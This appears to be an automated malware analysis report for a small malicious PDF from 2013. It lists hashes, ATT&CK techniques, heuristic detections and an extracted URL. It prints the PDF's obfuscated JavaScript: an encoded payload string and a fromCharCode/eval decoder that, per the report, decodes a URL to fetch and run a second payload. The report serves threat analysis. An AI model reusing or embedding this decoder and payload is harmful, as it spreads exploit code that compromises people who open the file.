Malicious PDF — malware analysis report

Static analysis result for SHA-256 5c5c3e4cfce4b0bf…

MALICIOUS

PDF

2.7 KB First seen: 2013-02-18
MD5: 9780a569240a89f3cfb990e2501030e5 SHA-1: 5a3c00fb7378cfc419e9fd606e50786aaf9930d6 SHA-256: 5c5c3e4cfce4b0bf3c4cd3fef8c993a901f8061bb16ef051c0731b55015f0f0e
158 Risk Score

Malware Insights

MITRE ATT&CK
T1059.007 JavaScript T1203 Exploitation for Client Execution T1566.001 Spearphishing Attachment

The PDF sample contains embedded JavaScript that is heavily obfuscated using String.fromCharCode and eval() calls. This script is designed to decode a URL, likely for downloading and executing a secondary payload. The critical PDF_JS_EXPLOIT_CLUSTER heuristic firing confirms the presence of exploit code within the JavaScript.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 5

  • JavaScript action low 2 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
    Matched line in script
    eval(bzhva3);
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://d2F.QK/N/a Referenced by PDF JavaScript

Related samples 8

Ranked by shared artifacts, heuristics, extracted URLs, CVEs, and signatures.

Full JSON: related samples API

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj111711_000.js pdf-javascript-stream PDF /JS object 111711 at offset 0x197 2610 bytes
SHA-256: 63332bbeb2f9b35ff3ba07e0a272449d17a1d18c261dc674c3cb1b726262d96d
Preview script
First 1,000 lines of the extracted script
dvyogt8="0F1-1]1f2Z1d2d1b3]1`2h1^3?3Q1X1Y2J2]1<1U3L1M1P1Q3f3h1N3.3;1E1H1I33351F2W2Y1?1B3T1@3E3G1=3A3I1819273X1013142L2T112U2V1.383b0^1*3`0i2^0e0f3R3Y0c3a0a3[0_2g3+0Q0Z3K0T0W3_0U3S3c0R2f3V0O3M0K0L242R0I3^0G2X3-000=0B2O0@2b0>3Z3d090:2[2_073P053N032S0131370,0-2`3O0*2a2c";htfoerd="A602ZBDFJcKb=gLj00C8hY7MM]]1A70SDG3CTD^IDPMaGJ^eBhNEeGY0Jcg2:j@7=I<9Ca-9SQdYS_ID5,1NK<5cMI=Wc_11K,.38ZCh6:h-L=V0I=7MMZK-<FH.38ZCh6:F<GJ^eCiI2BiD-7;_IHJH]7h8N7VKE^Bcg2:E@L-1<=V0I=7MMZ_Q1K,7?L9@==9`]`^gjU@fGKMg9e_7K]_fH7+[c:K,5P-.PC8b@VX282KbA^P=Dh9.3LV,.ZX>K6OQ:JQCN2*Eg2**.3OZ+,EGeR;?*XK8Tc2<R*T.OeJK96+_2-TK,<-^2;O`1:O:g]._Z9K96*>2TW:K4Kh_3dNQ:LQ?,.]@G,CSPZJ*/2:4*.2CEGK*SAB:**2=E+<.XfIK**4:P@*2=[CV3h7C,CULZJ*/2=,J.3cGg2**.3DZ+,?_@:J*/2=[*.3h7C,CULZJ*/2;?*,.,OXK9BcV2U+8K*5]R:**2<[QK,<T*:Qi1:LL_G,DCAR;bEV2RR?K9.*:Q_`N3A1/K**,ZP/*2:@@W,+=,ZJ**:PVg>2cY_K*5J:J**:P+KB:@@W,+=8K***K*-P:J+^2=@H4.FAe:J>^B:**2=[B@.iPVK3HcV2**@.ZR+,*16K5JWD.-8C,D^[:MLj<.,PE,**+,@WKB=0,].**S,H2*K9SU2=7F@.**S,B>*K9-YK***K5@*2<XL].**S,H2*K9SU2=7F@.**S,4R*:J>W_3f1/K/B3_2+Ha.**,.VCc:NTJ.3jK_2RW1:PP?e.Gaf,44/B=[*.3h7C,?[[B:**V3K:,./OU:J>ZV2**.3U9/,85h2:,c.2**.3JB@./OU:J>^R:**2:*dN2*F].`QLK1/iN2/6a.**,.g@/K9SU2;Q85,**/K64*:J+^2<c5@K*^P:PVg>2cY_K*SPZJ**:OUB@.[JVK**4:JUJ,.]aA:P6^B=-6/,8?QZJ**:J**:J**:J**:J**:J**:J**:J**:QC@>3OC?K8Xf2=*N.34Y>K4_fc<UJ,.eQ@K4XeV3[H/,G<;B<:S/K*,W2=VU4.Z3?K8W2V3@Q4K8U`B=VN@.NT<R=3*.3ag4.OhFK8?a:KKJ+,@5cR<_Y/,8+::NVCV2>?UR=[@O,4SB>2CUJK*+=R:**2:^*?,*@KN2**.2]fXK9Z/:J/RC,**+,<-^2=`<i.Rdb:KP*T.*W-2:**2:]ffR:,_W,**+,*SO_3:^gK**,ZM-*,.+=5R<KQd,**/K6**K0A66K9Z/:J/RC,**+,CU-2<c[?2=8CG,IJ4K*5:].**,.GbLK5SH4.Vf4:M8VT.OA+:PD/B==4TK6b;:O`+4K*?R:KCIN2**@.?:*K+GER;ObG,D-T:J4*V3<bd,**/K9.*:M5QG,IJ4K*5:].**,._[]R:*R.2**.2**.2**.2**.2**.2**.2**.3cJ,.RCi:J*+B=8*2=I]>3DaI,@WD_3PdD.,M-2=ZGV2BBUB:,]U,EGSN3P8?,?GKB<WTb:KGUV3?`DZJ+?_3KF].U@UR<>XW,FfWK8S`R=4h@.Ub@K8GZR<W8].N*+,Gb?K3+52:Xh@.OjC,*1C,<5]R<<XS,/bYK8i::J+22<?Hi.N.TZKE4C,GF@_3`8/,F5UR=Vfc=T<5,GAQ:Q,NT.d;GK8Xe_3ZLaK/+aZQ85D.N+GK3+bZQ,?D.?]UR::*+cY7MMZK,.A602V7dHZ*I^cJcN^3ae`O^gb_e9W/K-]:UBcg2:K/^+L7h8N1.+UT***.7RM`BE]hJ*jQ[-_:0WAbP[[c:K,5P-.QB6iP282KbA^P=Dh9.22++,,*:1Lga89,.2<GJ^eBJcOPSU7hTD9Ca-9SMa;YSaga89,.2;FZBNa5gb-Cf5.1.HJ`Jc1*c1.7RJ7G:**,g:a]*``***0[[c:K,@@M.HUP-.A5^M@DKG8:F:0[/]gc`PRA=NA[3VAdX0^a@E.A5^M@DKG8:h1ROc_11K,.2:M+KS^G5Od[U7:XQ7a:F<GJ^eBKe36]GXWCFa89,.2:_Q1K,.2XB6;R9AeZi6YMgJcL1GI8C7U_g:*M[HE11K,.2IU0SYS1U:HY`KgCI1fgb_e9W/K/g:0XR*/dR9AeZi6YMgKe1.D-`iV9M5cjE11K,.2_1UhBI0A[i:F:g1^gH,1RM:HY`KgCI1fBcg2:K0==9`]`^gjU@fGKMg9e_7K]_ehD-`iV9M5cjY7MMZK-<";bmcsiog4=2757;function brdme(hoypjpc3){if(hoypjpc3>92)hoypjpc3--;return hoypjpc3-42}bmkzarf8=new Array();
javascript_obj111712_001.js pdf-javascript-stream PDF /JS object 111712 at offset 0x8D7 545 bytes
SHA-256: 856bb141e3177baa25367ab4ff132d08f59329d0cc1854a7bba8741a5ffa348e
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
function GetCode(arg){var ar=String.fromCharCode(arg,131,130).split('');var an=ar.pop();var an=ar.pop();return ar.join('');}while(dvyogt8.length){bmkzarf8.push((brdme(dvyogt8.charCodeAt(0))<<(4+2))+brdme(dvyogt8.charCodeAt(1))-(500+12));dvyogt8=dvyogt8.slice(2,dvyogt8.length)}askoytc=drjzbq=dvyogt8=0;bzhva3='';function ypanbm(){if(dvyogt8==0){drjzbq=brdme(htfoerd.charCodeAt(askoytc++));dvyogt8=6;}return ((drjzbq>>--dvyogt8)&0x01);}while(bmcsiog4--){i=0;while(bmkzarf8[i]<0){if(ypanbm())i=-bmkzarf8[i];else i++;}bzhva3+=GetCode(bmkzarf8[i]);}

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